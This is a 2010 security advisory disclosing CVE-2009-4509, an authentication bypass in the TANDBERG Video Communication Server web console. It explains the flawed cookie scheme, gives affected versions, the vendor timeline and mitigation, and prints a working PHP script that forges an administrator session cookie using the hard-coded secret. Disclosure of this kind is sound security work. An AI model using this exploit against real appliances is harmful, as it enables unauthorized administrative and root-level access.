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CVE-2009-4509: TANDBERG VCS Authentication Bypass
From: "Timothy D. Morgan" <tmorgan () vsecurity com>
Date: Fri, 9 Apr 2010 20:50:21 -0700

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                   Virtual Security Research, LLC.
                      http://www.vsecurity.com/
                         Security Advisory


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Advisory Name: TANDBERG Video Communication Server Authentication Bypass
 Release Date: 2010-04-09
  Application: Video Communication Server (VCS)
     Versions: x4.2.1 and possibly earlier
     Severity: Critical
Discovered by: Jon Hart and Timothy D. Morgan
  Advisory by: Timothy D. Morgan <tmorgan (a) vsecurity . com>
Vendor Status: Update released (without security advisory) on October 9, 2009
CVE Candidate: CVE-2009-4509
    Reference: http://www.vsecurity.com/resources/advisory/20100409-1/

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Product Description
- -------------------
- From [1]:

 "The Video Communication Server (VCS) is an integral part of the TANDBERG 
  Total Solution and is the center of the video communications network, 
  connecting the benefits of video conferencing and telepresence to other 
  communications environments including unified communications and IP Telephony
  networks."


Vulnerability Overview
- ----------------------
On December 2nd, VSR identified an authentication bypass vulnerability in 
TANDBERG's Video Communication Server, firmware version x4.2.1.  This 
vulnerability allows for the complete bypass of authentication in the
administrative web console.  Since this web interface can be used to execute 
arbitrary code on the appliance as root (via software updates), the severity is
considered critical.


Product Background
- ------------------
The TANDBERG Video Communication Server is a Linux-based appliance which
supports the interoperation of a plethora of video and voice communications
devices.  The VCS provides a web-based management interface implemented in PHP
which allows administrators to perform a wide variety of actions, including
configuration of the device, management of user accounts, firmware updates, 
along with number of other items.


Vulnerability Details
- ---------------------
The TANDBERG VCS web management interface utilizes custom cookies for the
purpose of session management.  In version x4.2.1 of the appliance firmware 
(and possibly earlier versions), it is possible to forge session cookies with
relatively little knowledge of the appliance's configuration.

The vulnerability lies in the files located at the following paths:
  /tandberg/web/lib/secure.php
  /tandberg/web/user/lib/secure.php

Routines in these files generate user session cookies in roughly the following
way:

SECRET = SERVER_ADDRESS + STATIC_VALUE
HASH   = md5(USERNAME + SECRET + CLIENT_ADDRESS + CURRENT_TIME)
COOKIE = USERNAME + ACCESS_RIGHTS + CLIENT_ADDRESS + CURRENT_TIME + HASH

In the above pseudocode, the SERVER_ADDRESS represents the VCS system's IP
address, STATIC_VALUE represents a fixed string which is hard-coded into the
application source, USERNAME is the authenticated user name, CLIENT_ADDRESS is
the IP address of the user's system, CURRENT_TIME is a simple UNIX time stamp, 
and ACCESS_RIGHTS is an integer denoting the level of access assigned to the
user.

Note, that none of the information above is difficult to guess.  Any owner of a 
TANDBERG VCS would have access to the STATIC_VALUE (and in fact, this value is
contained in the firmware updates[2]).  All TANDBERG appliances have a default
user name of "admin" which has full privileges.  Therefore, it is possible with
a simple PHP script to forge new cookies and access the administrative
interface:

// NOTE: Portions of the following code are Copyright (C) 2009 TANDBERG //
function objectToCookie($obj)
{
        $cookie = serialize($obj);
        $cookie = gzcompress($cookie);
        $cookie = base64_encode($cookie);
        return $cookie;
}

function genCookie($server_addr, $remote_addr)
{
        $user_name = "root";
        $secret = $server_addr . "139EF012B6A714A3BE0A867616C7F8";
        $time = time()+24*60*60;
        $id_hash = md5($user_name . $secret . $remote_addr . $time);
        $access = 1; // ReadWrite

        $login_cookie =
            array( "user_name" => $user_name,
                   "access" => $access,
                   "id_hash" => $id_hash,
                   "ip" => $remote_addr,
                   "time" => $time
                   );

        return objectToCookie($login_cookie);
}

print "Cookie: tandberg_login=" 
      . urlencode(genCookie("{{SERVER_IP}}", "{{CLIENT_IP}}")) 
      . "\n";
// end of script //


TANDBERG released firmware version x4.3.0 which corrects this issue on 
October 9, 2009 (prior to discovery of the vulnerability by VSR).  The release
notes[3] for this updated version contain a description of the issue:

"Improved the security of the web interface to ensure that the system will not,
 under any circumstances, allow an authenticated user to escalate their session
 to more advanced privileges [Ref # 65050]."

However, VSR felt this does not adequately describe the problem.  Clearly, as
the above exploit and pseudocode demonstrate, it would be possible to alter an
existing login session cookie to provide elevated "access" values without
updating the MD5 hash, since this value isn't included when the hash is
generated.  However, the larger issue is that cookies can be forged from scratch
without an existing session.

In addition to this lack of clarity, no apparent security advisory for this 
issue was released to the public via the normal channels (nor was it recorded in
the CVE as of this writing). Therefore, VSR felt it is in the public interest to
shed further light on the problem.



Versions Affected
- -----------------
VSR has successfully exploited this issue in version x4.2.1.  Earlier versions
may also be affected.  Version x4.3.0 corrects the problem through use of a
random secret and the inclusion of the "access" value in the hash.


Vendor Response
- ---------------
The following timeline details TANDBERG's response to the reported issue:

2009-12-09    Preliminary notice to TANDBERG. TANDBERG responded immediately.

2009-12-22    VSR provided TANDBERG a draft advisory.

2009-12-28    TANDBERG confirmed that this issue was corrected in version x4.3.

2010-04-07    TANDBERG VCS firmware version x5.1.1 released [2] which corrected
              other flaws identified by VSR.

2010-04-09    VSR advisory released.



Recommendation
- --------------
Upgrade to firmware version x4.3.0 (or newer) as soon as possible.  If this is
not immediately possible, temporary mitigation could be achieved by changing
the "$this->secret" constant in the following files to something unpredictable:
  /tandberg/web/lib/secure.php
  /tandberg/web/user/lib/secure.php

Note that other vulnerabilities were identified in firmware versions prior to
x5.1.1.  Therefore, upgrading to this version is recommended.  See CVE-2009-4510
and CVE-2009-4511 for more information.


Common Vulnerabilities and Exposures (CVE) Information
- ------------------------------------------------------
The Common Vulnerabilities and Exposures (CVE) project has assigned
the number CVE-2009-4509 to this issue.  This is a candidates for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.


Acknowledgements
- ----------------
Thanks to TANDBERG for the quick initial response and cooperation.


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References:

1. TANDBERG - Video Communication Server
   http://www.tandberg.com/video-conferencing-network-infrastructure/video-communication-server.jsp

2. TANDBERG VCS Firmware Downloads
   http://ftp.tandberg.com/pub/software/vcs/

3. TANDBERG VCS Version x4 Software Release Notes
   
http://ftp.tandberg.com/pub/software/vcs/TANDBERG%20Video%20Communication%20Server%20Software%20Release%20Notes%20(X4).pdf

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   Copyright 2009,2010 Virtual Security Research, LLC.  All rights reserved.

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